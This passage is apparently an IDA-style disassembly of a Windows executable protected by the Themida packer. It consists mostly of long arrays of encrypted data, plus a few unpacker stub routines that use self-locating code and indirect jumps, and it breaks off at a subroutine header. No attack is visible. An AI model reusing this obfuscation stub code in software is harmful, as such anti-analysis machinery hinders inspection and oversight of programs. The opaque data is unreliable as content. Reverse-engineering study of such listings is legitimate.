		dd 0DE170050h, 0B32E705Ch, 0DD0CE764h, 0B8BA09CFh, 8FA6018Dh
		dd 13225593h, 0A7ADC82Ah, 39041890h, 4E452ED2h,	68A61490h
		dd 53FB02EFh, 0CC07417Ah, 0DE8FC72h, 73F1FA45h,	0B8004C72h
		dd 0A134B1CDh, 0D424305Dh, 0E511F4D9h, 0DC81107h, 65DDD12Dh
		dd 23430C7h, 3EA58D02h,	0C6BFA6AAh, 0F9B50154h,	66D4E131h
		dd 3EC0404Bh, 17248FAFh, 64815C0Eh, 2CC2010h, 0A16DDCh
		dd 0EAA80C79h, 0FC572D69h, 58D3AC00h, 80966EFAh, 0CF712E72h
		dd 0C10D0FB7h, 0B2AEA380h, 0AC4C5E30h, 2942290h, 0AF663C7Dh
		dd 0E37D143Dh, 0D190F06h, 2861735h, 0F92EB8C1h,	71408844h
		dd 8D8E67h, 2C8A75C7h, 0D646DD24h, 5C14E04h, 0F8C0B056h
		dd 729B412Eh, 211B256Dh, 57235C20h, 75EAD0C7h, 636F1617h
		dd 5BC99300h, 0E49449h,	99AF8C1Ah, 75A12526h, 2D1C9CF4h
		dd 0A0A54A5Fh, 0BE229D8h, 0D951D8Fh, 985E047Ah,	0D0A4C171h
		dd 10729Fh, 0C8AFB31Ch,	90DC9134h, 9EA1323Ch, 0E864AB04h
		dd 81FD833Bh, 6E050E38h, 94D4F163h, 9B8700CFh, 0B92D2066h
		dd 430B3B2Ah, 106007ECh, 13E55644h, 0D0208423h,	5E42764h
		dd 0CD43FC00h, 0F3A22F60h, 74900309h, 6FBE4542h, 4DEA5A0h
		dd 8B1AF402h, 0C5F825C1h, 8A860030h, 0DEAB6488h, 0F505FAE2h
		dd 0A967C6BBh, 87EAFCC0h, 0F38E22C1h, 0D1BA5003h, 0E0B8E255h
		dd 112B537h, 828C60C5h,	30B99B6Fh, 0F27322D0h, 36033CB9h
		dd 0F0729EFCh, 3127D9A7h, 0DD51A5A0h, 3784DC6Fh, 6DB8AF01h
		dd 0C243EEC0h, 92153992h, 9E05C64h, 0BF07FEAFh,	371D0A5Fh
		dd 0D3B821F0h, 4CCF39C2h, 0B9FC5880h, 0FB0FAFA2h, 275C0800h
		dd 44F490Ch, 66053B14h,	0C9DC5F18h, 2E00B282h, 6597DE77h
		dd 7455685h, 0D338812Fh, 29486668h, 0D26E07Dh, 0BA0602F2h
		dd 0BE060FCh, 745111EAh, 0B7C500Fh, 88984D3Bh, 0EF0EE7ECh
		dd 4045B0CCh, 28D0BCBFh, 78B010Eh, 7165F848h, 0FB489363h
		dd 859E280Fh, 0C847D75Ah, 0C990FE4Fh, 98A9B00Bh, 156F0134h
		dd 0BDC13907h, 3FBC40E3h, 29F3C93Eh, 0E500775Ch, 0E03D97Bh
		dd 588CB8Dh, 78A5693h, 0BA5CC86Fh, 0EF4D3D0Bh, 7254904Eh
		dd 1D41252Ah, 6CB82420h, 390242E3h, 0DCA30C9h, 3F68D1D0h
		dd 0EA2917B5h, 5E70CAC7h, 0C825B6h, 1F6BAB8Ch, 0EDCF32B9h
		dd 0D41E4300h, 38AC72AFh, 7881C0BDh, 28B446ADh,	31B58500h
		dd 0C6C0051Fh, 1401017Dh, 49FD0FC5h, 3100EB39h,	2E836696h
		dd 0F7B3B6h, 2D6D29DBh,	0EF7E98CEh, 0D7A43Eh, 0CC0B7041h
		dd 0AA60F7h, 0A99D8DA3h, 0C31BEA42h, 0C5E4CF12h, 0DAB00C01h
		dd 0F98535C9h, 47574490h, 0C02791F0h, 33C2A81Bh, 0EFFA7F76h
		dd 0B4C09724h, 908E9D60h, 40FA026Ch, 6070111Eh,	0FD001044h
		dd 0F87A1338h, 7C3ACAAh, 153DB752h, 35576029h, 0BA090FC2h
		dd 9042EEE5h, 0A8B81848h, 7DAFC8DCh, 77FE009Ch,	0DD1A26AEh
		dd 86144A11h, 0F4B01Bh,	330FBA4Dh, 15E2B723h, 0E054E642h
		dd 0A4211684h, 5000E0DCh, 42A76753h, 3E1F7FEEh,	0F101879Bh
		dd 91D2B51Dh, 3921C529h, 40CB056Ch, 0C180DE67h,	0F6D213h
		dd 726127D3h, 9838DA68h, 78B11701h, 2BCAA8E3h, 2C83D060h
		dd 280D2A1h, 741435F0h,	0B678DF60h, 0F1E7E37Ah,	0A9422095h
		dd 98C5A203h, 909AD07Ah, 44E457h, 27761321h, 0A82EC89Bh
		dd 6149A00Fh, 19001D43h, 16A136F4h, 0F24C2FB6h,	6B1839F0h
		dd 1928DD62h, 22060026h, 812BAC65h, 79016451h, 6F4FC498h
		dd 519E01E3h, 782F01C9h, 60652387h, 0B203C398h,	0F5BD4C64h
		dd 0EA80855Ch, 1647BBh,	83A6547Fh, 0E0995B41h, 0B7B95900h
		dd 70713D98h, 0FC2A00B1h, 9CA26A6Eh, 20004741h,	0E918D910h
		dd 7EB4FE9Fh, 0D3990023h, 4AB5E581h, 2F00B03Ch,	0FA13BE46h
		dd 60C79B49h, 0AF979918h, 1967EFD9h, 0E8B0B010h, 3A137660h
		dd 5D009C91h, 0A65540B2h, 4A6FD9D0h, 0B7436029h, 3AEFAE5h
		dd 2927801Eh, 7BF06E0Bh, 0F173296h, 80004B15h, 0EFFCE914h
		dd 0BE3E51BFh, 0FE7900F7h, 4E4B93E8h, 0A71ED0CFh, 0E9817E99h
		dd 0CB9B3798h, 0BBFB1440h, 7E9AF68Fh, 979200E3h, 525EA9D8h
		dd 0FEF45A5Ch, 0B6A740h, 1FC72D9Bh, 2614C975h, 73E84500h
		dd 5F77BBF4h, 8BE20599h, 403A61B5h, 45FB3DDCh, 4B3E59B6h
		dd 0CDC58007h, 6BA52737h, 44DF00A1h, 615D0ECBh,	0E60209CAh
		dd 9655566Dh, 0FB0C498Ch, 88103371h, 0F20B62h, 9C2E52B3h
		dd 1C38AA21h, 9B0E4274h, 0C0C5EBFAh, 0F280F735h, 464C33E1h
		dd 99983038h, 6C300EC8h, 0FF10FA22h, 0ABB700EBh, 2BA329F4h
		dd 0BF0C2A64h, 793F6165h, 4B5B00ADh, 6B48C3D8h,	0E80E6FA5h
		dd 0C00AEE02h, 2237FA68h, 6399C03Eh, 3951DE99h,	3D016B02h
		dd 98B034A1h, 55B8F8h, 9AC842A2h, 4CBE87EDh, 713C5D0Eh
		dd 3ADE5D6Ah, 0FA214A80h, 0E26F95h, 0A2F0F481h,	0BB29FB43h
		dd 28259400h, 0B903D3B1h, 0D8D9C65Ah, 9D006142h, 12DF216Ch
		dd 6B5E20Ch, 0CC37CBBBh, 64242148h, 0BF42A461h,	0DAAA8108h
		dd 0B0235B16h, 5F38AE00h, 5206EE9h, 8E74D560h, 6B9F0ECh
		dd 0D39D2A6Dh, 9385153h
		dd 0D62480E5h, 0D82326F8h, 0D520EC6h, 30AA8506h, 20F828C0h
		dd 0BF22EBDCh, 0F97218h, 5C73BB2Eh, 3B6268B9h, 118681C0h
		dd 722FDF3h, 0C7023A2Bh, 80E290ACh, 0ED032F8Fh,	744EBF92h
		dd 0FE31013Eh, 0AB359910h, 0B245DCD5h, 0C7F68A03h, 0E8604047h
		dd 10FC8CA9h, 3CA12703h, 975394A8h, 10E32438h, 0BCF31A40h
		dd 532004Fh, 9C6A5226h,	9E98E1FCh, 7D6DF1C0h, 97B984h
		dd 3E8690CDh, 0FEB744F9h, 0E1E851E8h, 1C927478h, 0AB80306h
		dd 0EE8309h, 0E1B952FEh, 63301B0Dh, 0D70B4C0Fh,	0DCBEC0C9h
		dd 126DEE3h, 2103519Ah,	304E547Eh, 6300BB3Ch, 975EADF6h
		dd 0CE52075h, 550337E3h, 16541191h, 0CB0052A8h,	4607A534h
		dd 1EE720h, 3C714373h, 825E2AF2h, 4C9B513Ch, 0EEDBC044h
		dd 5784D14h, 0E3249C94h, 36844970h, 9292483h, 20FFD0A1h
		dd 7C7AB59Bh, 9B8E8613h, 821F9C13h, 0B8D06301h,	0BC320DDDh
		dd 0B091F301h, 0F81F579Ah, 5824BBBCh, 0D740DCD9h, 9D748Eh
		dd 33B993ADh, 95FC1E42h, 0E4E27501h, 6A023D32h,	171280F4h
		dd 50A12AD4h, 7E00E4ACh, 37F98393h, 51CF44B4h, 0D05DA0C9h
		dd 48829ACFh, 0C500C098h, 0D5F944A9h, 5F48712Ah, 6AB409C4h
		dd 0FD400262h, 427402A7h, 0B1F6D4A0h, 82003FB8h, 0F3872B1Bh
		dd 24AC0896h, 9CC2E58h,	1C21A2D9h, 0C830248Fh, 0F300E11Fh
		dd 3BF71248h, 28866F01h, 48D817A6h, 60391D4Fh, 0BA8EE005h
		dd 81A8874Ah, 8084E32Eh, 8BFD5A49h, 0AC82E9h, 6B2C2655h
		dd 0B34D8357h, 90DD7601h, 0D95EF021h, 62E900CFh, 0D0314A93h
		dd 1A26A667h, 0AD07711Eh, 511779C9h, 0E744C470h, 406958A7h
		dd 807ABB1Fh, 28353148h, 0B890BABFh, 919B74h, 0D916AB03h
		dd 2D61003Dh, 0FA289325h, 8C92B161h, 7EEE6000h,	872A7B13h
		dd 337705A4h, 80BE8D12h, 0D8896C74h, 79000499h,	38BF88E1h
		dd 0BE2F0052h, 9783EBBDh, 122892F4h, 0C81DCC2Bh, 750066D7h
		dd 0FED920C6h, 72C419A4h, 120498B2h, 0EC4461h, 0D3465857h
		dd 0E15CBB78h, 23B63000h, 0F7E84863h, 0D9521817h, 0B1A581ECh
		dd 0C3F36F02h, 0C2ACE084h, 712080E8h, 13DFB12h,	471FD805h
		dd 8FAB9955h, 972AAC61h, 0E820FA00h, 924DD985h,	517B0180h
		dd 9E399522h, 0A645D09Dh, 0A4A09C3Ch, 3F4720E2h, 869ADF90h
		dd 76DAFCFEh, 0A5AE0706h, 80B337ECh, 5328E452h,	8AE02B11h
		dd 4222B100h, 63088724h, 37008CB1h, 9EF879DFh, 0AE725034h
		dd 0DE441C65h, 590E800Ch, 0B17DCEA6h, 0E4223826h, 81976341h
		dd 32406FD4h, 82B937E1h, 1FDC7360h, 0CED56907h,	0B1003666h
		dd 4CB213B3h, 90505045h, 0F2A13995h, 9239D29Dh,	218C16EDh
		dd 3FAEC600h, 72500F87h, 0FE7F47Eh, 0BBF93A50h,	299854C6h
		dd 58281948h, 24512488h, 9FD69260h, 9A241FB8h, 56AE007Dh
		dd 15BDA28Eh, 0C3A439C2h, 40FE62F4h, 9890AD54h,	73710928h
		dd 2811BE42h, 3103C3E2h, 2D24A605h, 3BE0F0FEh, 21740191h
		dd 0CE29F510h, 39DAE704h, 799B80A0h, 1D027586h,	0D0287072h
		dd 37248711h, 30B2B80h,	2AEC0177h, 7B2C3A90h, 9F63E074h
		dd 6630490Bh, 0DC04805Bh, 0DBBCA28h, 4A5FC3E1h,	2463E9h
		dd 981E66E0h, 0F9FCB7Bh, 0F34568C5h, 6EE42000h,	9728AE57h
		dd 6C5190F2h, 7AE0307Ch, 7944CD3Eh, 8A5BC901h, 4B02E99Fh
		dd 3B433430h, 1217ED29h, 840B103Eh, 0DC8F0388h,	7E89408Fh
		dd 3F59E438h, 0F8019D0Dh, 1231282Dh, 33298002h,	5980F36Dh
		dd 239B4C10h, 341F3F1Fh, 0FD88051h, 5407BA7Ch, 0E9984137h
		dd 20C9B845h, 382F5FF0h, 0C205D7BBh, 85FBE1AEh,	0F1E880D2h
		dd 0A62537EDh, 0F04C1BD5h, 7AB0B9h, 0F2ACA551h,	18E23153h
		dd 0F3488200h, 0DF2B36DBh, 37F50058h, 645B70F9h, 0BD035493h
		dd 807C6555h, 9C2A4CEBh, 0FD7239C1h, 130BC4C4h,	84325807h
		dd 8A3F5263h, 0D80074E3h, 710CD2EDh, 0B94001D3h, 0BD9BE4A5h
		dd 8C218014h, 89E158C5h, 3CB0A059h, 9491DCh, 9D0E2985h
		dd 9C00D3AEh, 7DB32F5Eh, 18F7EB5h, 0AF32969Fh, 0F89A1C61h
		dd 84005191h, 48A1AB8Ah, 0B8769760h, 75D00A2Ch,	4EF011A8h
		dd 0B280A5EFh, 0E41C2B8h, 14FF4Dh, 6DC3D64Dh, 1693C4Bh
		dd 717A3AFDh, 2436620Ch, 0C0004CA4h, 1C9C4DB6h,	0CEFF06h
		dd 40B77857h, 5ECA842Dh, 468C3203h, 0F06FA451h,	32032047h
		dd 1C80B2C8h, 48463B20h, 364F139Ch, 0D2B80744h,	22A672C3h
		dd 423F8460h, 0FB120AF2h, 8C30B5EFh, 3A2493BAh,	0AB806722h
		dd 0FB40C050h, 527D92E6h, 0ADD02700h, 0CC9A69A5h, 0CA640AC4h
		dd 80A43EDEh, 0ADE58B9Fh, 0BC05FC83h, 0F41D9789h, 3FC6BCC0h
		dd 0B2210039h, 90D12657h, 0A4B12B03h, 7BB34000h, 977EEB4h
		dd 5AC3BBF4h, 26123481h, 0D4E6DE04h, 9C54C901h,	2B15DB95h
		dd 24EE52DCh, 1546675h,	0F58AD678h, 7FCC22DEh, 537D500h
		dd 0CBE873BFh, 0AFC050F0h, 7CC2589Bh, 48709C80h, 11C008E3h
		dd 0DB40B2B3h, 0FAC30019h, 1BE86D45h, 0D10453B5h, 0DAE7F07Ch
		dd 644200C0h, 9AE2037Eh, 55C43847h, 21D6C2C0h, 6636D501h
		dd 0E2C6E903h, 44C92C40h, 8419002Fh, 1BAAE39Fh,	24F2D8BEh
		dd 0A8697703h, 0EF403E1Eh, 75131CCh, 7F30A5B5h,	540B6BACh
		dd 0CCB15010h, 0C0E03C48h, 4C5F8CEDh, 0EF390461h, 8CAB20FEh
		dd 0D4007104h, 9C4755E3h, 2916387h, 317009E8h, 464BE3Fh
		dd 44F9E10Fh, 0E33522E9h, 66A0A056h, 3573BC9h, 0D7239018h
		dd 0A48807A5h, 0F026DE8Bh, 0EC1DBB98h, 0D07818A8h, 0AC29C500h
		dd 0A3FCCE65h, 3B4F0034h, 11928F0Bh, 0FB044179h, 0C4486BECh
		dd 4B404B0h, 8C554015h,	281901DDh, 420D9DBh, 0A75A3F91h
		dd 0D6BFC185h, 97FCC046h, 0C6309BD0h, 29ECE11Ah, 0E18D0E93h
		dd 52235BCBh, 84F56003h, 8124C48Eh, 113F09A0h, 80178154h
		dd 0EF06D24Bh, 0F8410E00h, 930CB518h, 0CA210803h, 12801BE2h
		dd 146A972Ch, 0B9961DB1h, 3EB4088Dh, 289B548Ah,	3C20E316h
		dd 0E0338B74h, 0A9C700AAh, 0EFAE7877h, 0F5EE6DF0h, 45D39218h
		dd 483541h, 6B794203h, 220DF270h, 0A4928712h, 97E02002h
		dd 846461h, 3E52EA04h, 0E2D3F3A1h, 554EF61Ch, 48D87A8Ah
		dd 0EA4DDD00h, 2837FB1Eh, 90CB8B1h, 0D4525870h,	0D1D6D490h
		dd 48316A13h, 1502A800h, 2F8C1Ch, 0C0F6ADE3h, 0AB12EA5h
		dd 410F3B30h, 3C524Ah, 0B7D54C60h, 0F563A762h, 6C615A26h
		dd 66B61980h, 7978F740h, 2C9A743Fh, 0A646FFCh, 0ACD2C3h
		dd 7C535FC8h, 3C9C8ED1h, 0D5117A40h, 91B056h, 41D98066h
		dd 0B00474B4h, 31035C0Ah, 2A82AC34h, 51EA54B3h,	98F53D84h
		dd 61F600C6h, 0BA51DAD3h, 5428677Bh, 2CB04C99h,	857A1A04h
		dd 0D0C8E33Bh, 2E6000F6h, 97E7D94Fh, 8A1DCD32h,	0EA92DE40h
		dd 616AF001h, 0D8304CA6h, 53602C72h, 96550966h,	0A5775418h
		dd 158FA4Dh, 0A22AD897h, 94475485h, 0A10EB86h, 0CC41B45Fh
		dd 0FFFF5F01h, 6Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_58663E:				; CODE XREF: start:loc_515265j
					; DATA XREF: start:loc_515086o
		jmp	loc_589ADB
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 13h dup(0)
		dd 42000000h, 0B218h, 3	dup(0)
		dd 1000000h, 0Dh dup(0)
		dd 14000000h, 5BCAh, 3 dup(0)
		dd 0AD000000h, 0C7E41A8h, 0FFFF9Dh, 41h	dup(0)
		dd 5B000000h, 0A476B44Eh, 12FFh, 16h dup(0)
		dd 32000000h, 1769D2h, 15h dup(0)
		dd 0E7000000h, 77DDEBh,	3 dup(0)
		dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Fh dup(0)
		dd 0EC000000h, 100D59h,	15000000h, 1BFFFF11h, 77DFC4h
		dd 1B000000h, 7F6EDDh, 6Bh dup(0)
		dd 24000000h, 242424h, 13h dup(0)
		dd 26000000h, 3BE282h, 1Dh dup(0)
		dd 2000000h, 8,	71000000h, 717171h, 12h	dup(0)
		dd 28000000h, 0BC9070h,	3 dup(0)
		dd 0C200h, 0Ah dup(0)
		dd 0F9000000h, 237C90DDh, 5C00h, 35h dup(0)
		dd 0FF000000h, 0FFFFFFh, 19h dup(0)
		dd 0B200h, 22h dup(0)
		dd 3000000h, 0B2FAh, 7 dup(0)
		dd 24000000h, 1Ah, 8 dup(0)
		dd 18000000h, 0CAh dup(0)
		dd 0BE000000h, 0FFA404h, 0
		dd 42000000h, 0FBh, 8 dup(0)
		dd 11000000h, 7FFDFEh, 0Ah dup(0)
		dd 64000000h, 6, 3 dup(0)
		dd 21000000h, 212121h, 85h dup(0)
		dd 2000000h, 8,	17h dup(0)
		dd 0B9000000h, 5C80h, 7	dup(0)
		dd 11000000h, 111111h, 0Eh dup(0)
		dd 81000000h, 0CB7B8Eh,	4 dup(0)
		dd 84000000h, 33E5F6h, 0
		dd 0A9000000h, 52ACC0h,	11h dup(0)
		dd 0A0000000h, 7C80ADh,	2 dup(0)
		dd 0D7000000h, 58A8h, 0
		dd 42000000h, 0C696FBh,	10h dup(0)
		dd 84000000h, 33E5F6h, 5 dup(0)
		dd 0E9000000h, 0FFA4C4h, 0Dh dup(0)
		dd 0EC000000h, 0B237h, 0Eh dup(0)
		dd 17000000h, 23021702h, 3 dup(0)
		dd 7C9000h, 4A000000h, 0BA916Bh, 8Eh dup(0)
		dd 74000000h, 5B3Eh, 28000000h,	3, 5 dup(0)
		dd 0D6000000h, 0A6h, 1000000h, 0Ch dup(0)
		dd 77000000h, 387C810Ah, 1Ah, 10h dup(0)
		dd 0FB000000h, 48A180h,	4 dup(0)
		dd 20000000h, 0B219h, 7	dup(0)
		dd 97000000h, 5C3Dh, 5 dup(0)
		dd 0E5000000h, 0FEFFA35Bh, 0FFFFF7h, 3 dup(0)
		dd 45000000h, 5B99h, 14h dup(0)
		dd 0BC000000h, 0F36731h, 4 dup(0)
		dd 24000000h, 7C801Ah, 9 dup(0)
		dd 37000000h, 0B2FAh, 0
		dd 18000000h, 0B229h, 13h dup(0)
		dd 73000000h, 5C60h, 6 dup(0)
		dd 0A7000000h, 0C0764Ah, 0
		dd 1500h, 0Eh dup(0)
		dd 0F3000000h, 0D62BC5h, 0Ah dup(0)
		dd 0A4000000h, 12FFh, 3	dup(0)
		dd 78000000h, 0B791h, 0
		dd 7F000000h, 348471h, 4 dup(0)
		dd 0FF000000h, 7Fh, 0Ch	dup(0)
		dd 7F000000h, 5BD7h, 5 dup(0)
		dd 99000000h, 0A0FFA3F2h, 5B30h, 92000000h, 0E1929292h
		dd 7FFFFAh, 0Eh	dup(0)
		dd 0C000000h, 7C8027h, 0E0000000h, 12FFh, 8 dup(0)
		dd 1000000h, 0F000000h,	48B4A3h, 8 dup(0)
		dd 0FD000000h, 58A5h, 0Ch dup(0)
		dd 0AD000000h, 0EC00B4FCh, 37h,	1Ah dup(0)
		dd 0E8000000h, 168095h,	3 dup(0)
		dd 17000000h, 0B294h, 0FF000000h, 3, 5 dup(0)
		dd 28000000h, 0BC9070h,	0Ah dup(0)
		dd 0A8000000h, 0BBh, 3 dup(0)
		dd 33000000h, 2	dup(33333333h),	0ED333333h, 0FFFFF6h, 0Dh dup(0)
		dd 0E2000000h, 5BADh, 0Eh dup(0)
		dd 0FF000000h, 0FFFFEFh, 12h dup(0)
		dd 0B8000000h, 5C50h, 7	dup(0)
		dd 51000000h, 43h, 0Ch dup(0)
		dd 24000000h, 7C801Ah, 2 dup(0)
		dd 0E9000000h, 0EB000400h, 7C80EEh, 7 dup(0)
		dd 0E4000000h, 5BD4h, 0Fh dup(0)
		dd 2000000h, 8,	15h dup(0)
		dd 0FD000000h, 244E172Fh, 0B20Eh, 1000000h, 7 dup(0)
		dd 7B000000h, 3F5A82h, 0FC000000h, 0AAF9h, 12h dup(0)
		dd 0DD000000h, 8D5063h,	13h dup(0)
		dd 42000000h, 7C90FBh, 4 dup(0)
		dd 98000000h, 989898h, 5 dup(0)
		dd 0B6000000h, 5C3Bh, 3	dup(0)
		dd 0FE000000h, 0FFFFF7h, 2 dup(0)
		dd 9E000000h, 3Fh, 5 dup(0)
		dd 2000000h, 8,	0Fh dup(0)
		dd 0E9000000h, 0A2FDE8FDh, 0FC67FEh, 0
		dd 4F0h, 2Dh dup(0)
		dd 7C8000h, 0Eh	dup(0)
		dd 4000000h, 7772E2h, 0Ch dup(0)
		dd 0B6000000h, 7C80FAh,	3 dup(0)
		dd 35000000h, 353535h, 21h dup(0)
		dd 0B7000000h, 588Dh, 8000000h,	0B2B5h,	10000000h, 5C59h
		dd 0Bh dup(0)
		dd 34000000h, 586Ah, 20h dup(0)
		dd 0B0000000h, 0FFFFFFh, 3 dup(0)
		dd 0DE000000h, 7C80ABh,	18h dup(0)
		dd 8D000000h, 5BA4h, 9 dup(0)
		dd 0A4000000h, 12FFh, 11h dup(0)
		dd 1000000h, 2 dup(0)
		dd 0AF000000h, 0FF4D71h, 13h dup(0)
		dd 0F000000h, 7	dup(0)
		dd 33000000h, 586Ah, 5 dup(0)
		dd 35000000h, 129AAh, 12h dup(0)
		dd 0F8000000h, 5BE4h, 0Fh dup(0)
		dd 3000000h, 0B2FAh, 3 dup(0)
		dd 39000000h, 165FBBh, 42000000h, 0FF7C90FBh, 0FFh, 0
		dd 7B000000h, 3F5A82h, 17h dup(0)
		dd 0A7000000h, 0B5C24E9Fh, 2Fh,	0Ch dup(0)
		dd 73000000h, 5C60h, 0
		dd 9F000000h, 26396926h, 837EEEh, 2 dup(0)
		dd 42000000h, 7C90FBh, 51000000h, 7C809Ah, 8 dup(0)
		dd 30000000h, 0C48DCh, 39h dup(0)
		dd 28000000h, 5C0Dh, 3C000000h,	0B21Ah,	12h dup(0)
		dd 0FF000000h, 3, 5 dup(0)
		dd 0C4000000h, 12FFh, 6	dup(0)
		dd 3C000000h, 0B21Ah, 37h dup(0)
		dd 0C0000000h, 0F386EFh, 4 dup(0)
		dd 7000000h, 0BFE0B8h, 7 dup(0)
		dd 25000000h, 0B20Ah, 10h dup(0)
		dd 40000000h, 4270DEh, 0Ah dup(0)
		dd 69000000h, 4EA0F9h, 0Ah dup(0)
		dd 0B8000000h, 5C50h, 14h dup(0)
		dd 0F8000000h, 5BE4h, 5	dup(0)
		dd 1B000000h, 5CC20Fh, 6 dup(0)
		dd 0A3000000h, 0EA8C83h, 1000000h, 0Ah dup(0)
		dd 0E9000000h, 55h, 0C7000000h,	6E3h, 78000000h, 2 dup(0)
		dd 40000000h, 0B21Ah, 54000000h, 696D6568h, 6164h, 1Eh dup(0)
		dd 14000000h, 0EFF2A6h,	2 dup(0)
		dd 0FF000000h, 5876h, 13h dup(0)
		dd 47000000h, 7C809Bh, 4 dup(0)
		dd 0B200h, 8 dup(0)
		dd 0F3000000h, 0FFF7C5h, 2 dup(0)
		dd 38000000h, 2	dup(0)
		dd 1C000000h, 26h, 4 dup(0)
		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_588DC3
		retn	18h
; ---------------------------------------------------------------------------


loc_588DC3:				; CODE XREF: Themida_:00588DBEj
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B2FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 2Dh dup(0)
		dd 0D6000000h, 0B77B24h, 5 dup(0)
		dd 0F38700h, 9 dup(0)
		dd 0A7000000h, 4Ah, 12h	dup(0)
		dd 24000000h, 1Ah, 8 dup(0)
		dd 4000000h, 1Ch dup(0)
		dd 57000000h, 5BD7h, 9 dup(0)
		dd 0F6000000h, 7C801Bh,	4 dup(0)
		dd 0F0000000h, 77DD6Bh,	0Eh dup(0)
		dd 1000000h, 0Dh dup(0)
		dd 0C6000000h, 68CB3Eh,	0
		dd 22000000h, 22222222h, 222222h, 15h dup(0)
		dd 78000000h, 4500B791h, 5B99h,	11h dup(0)
		dd 0F000000h, 48B4A3h, 0F9000000h, 7C90DDh, 0
		dd 0A7000000h, 5BD7h, 5	dup(0)
		dd 0A7000000h, 0C24E9Fh, 6 dup(0)
		dd 71000000h, 7C90FBh, 2 dup(0)
		dd 18000000h, 0F0E97F6Ah, 12FFh, 6 dup(0)
		dd 34000000h, 5CBEh, 8 dup(0)
		dd 4E000000h, 7C8044h, 11h dup(0)
		dd 0A700h, 2Fh dup(0)
		dd 1C000000h, 26h, 0Ah dup(0)
		dd 9F000000h, 0E8ADECh,	4 dup(0)
		dd 2C77DD00h, 0FFFE17h,	0Ah dup(0)
		dd 0D8000000h, 7C97C0h,	8 dup(0)
		dd 0BF000000h, 13FBEEh,	14h dup(0)
		dd 0AD000000h, 0B4FCh, 0
		dd 5D000000h, 0E27418h,	0D000000h, 0B36DF5h, 5 dup(0)
		dd 45000000h, 5B99h, 0Ch dup(0)
		dd 81000000h, 367C808Eh, 363636h, 0Eh dup(0)
		dd 7000000h, 0BFE0B8h, 0Eh dup(0)
		dd 4B000000h, 0
		dd 32000000h, 0B58Bh, 0A1000000h, 48DADEh, 8 dup(0)
		dd 20000000h, 0B28Dh, 0CF000000h, 0BB838Eh, 3 dup(0)
		dd 0E9000000h, 400h, 3 dup(0)
		dd 0FC000000h, 0B73Fh, 16h dup(0)
		dd 1000000h, 37h dup(0)
		dd 2000000h, 0A7000008h, 52C0764Ah, 61747365h, 70417472h
		dd 78652E70h, 65h, 0
		dd 99000000h, 3BD730h, 4 dup(0)
		dd 81000000h, 0CB7B8Eh,	0DA000000h, 7C81CDh, 4 dup(0)
		dd 0BF000000h, 0F3FFh, 0
		dd 73000000h, 5C60h, 0DA000000h, 977C8111h, 0B15F06h, 5	dup(0)
		dd 3F000000h, 58A1h, 6 dup(0)
		dd 7E4100h, 0
		dd 44000000h, 0B21Ah, 3	dup(0)
		dd 48000000h, 2	dup(0)
		dd 1000000h, 7C8000h, 13h dup(0)
		dd 96Ah, 2 dup(0)
		dd 0FF000000h, 48FCFFh,	0E000000h, 7C8018h, 2 dup(0)
		dd 44000000h, 0B21Ah, 0D000000h, 0B58Bh, 0Eh dup(0)
		dd 2000000h, 8,	0
		dd 34000000h, 5CBEh, 6 dup(0)
		dd 0B2000000h, 0BACA8Fh, 2 dup(0)
		dd 93000000h, 621Ah, 47000000h,	0C9FFFF83h, 0FFC99C11h
		dd 0FFFFFFh, 0Fh dup(0)
		dd 42000000h, 0FFA34Ch,	0B8000000h, 5C50h, 4 dup(0)
		dd 0FF000000h, 7FFFFFh,	4 dup(0)
		dd 77000000h, 7C801Dh, 3 dup(0)
		dd 28000000h, 0B28Bh, 3	dup(0)
		dd 0F000000h, 7A67A3h, 3 dup(0)
		dd 0FE000000h, 5BD4h, 11h dup(0)
		dd 0CF000000h, 0B2A8h, 4 dup(0)
		dd 69000000h, 4EA0F9h, 94000000h, 7C90EBh, 4 dup(0)
		dd 0FF000000h, 0FFFFFFh, 5 dup(0)
		dd 40000000h, 4270DEh, 0Bh dup(0)
		dd 0F2000000h, 7C814Ah,	68000000h, 7B6B6Ch, 5 dup(0)
		dd 42000000h, 7C90FBh, 20h dup(0)
		dd 83000000h, 77DD78h, 5 dup(0)
		dd 73000000h, 5C60h, 4 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_589ADB:				; CODE XREF: start:loc_58663Ej
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7D134A7h
		mov	[ebp+7D1234Dh],	edx
		mov	[ebp+7D13221h],	esi
		mov	[ebp+7D12B71h],	eax
		cmp	dword ptr [ebp+7D122EDh], 0
		jz	short loc_589B13
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_589B13:				; CODE XREF: start+74AF1j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+7D13231h],	eax
		push	45h
		call	sub_589BC7
		push	783749Ah
		call	sub_589C0D
		push	0A894B25h
		call	sub_589C0D
		jmp	loc_589D51
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_589BC7	proc near		; CODE XREF: start+74B0Bp

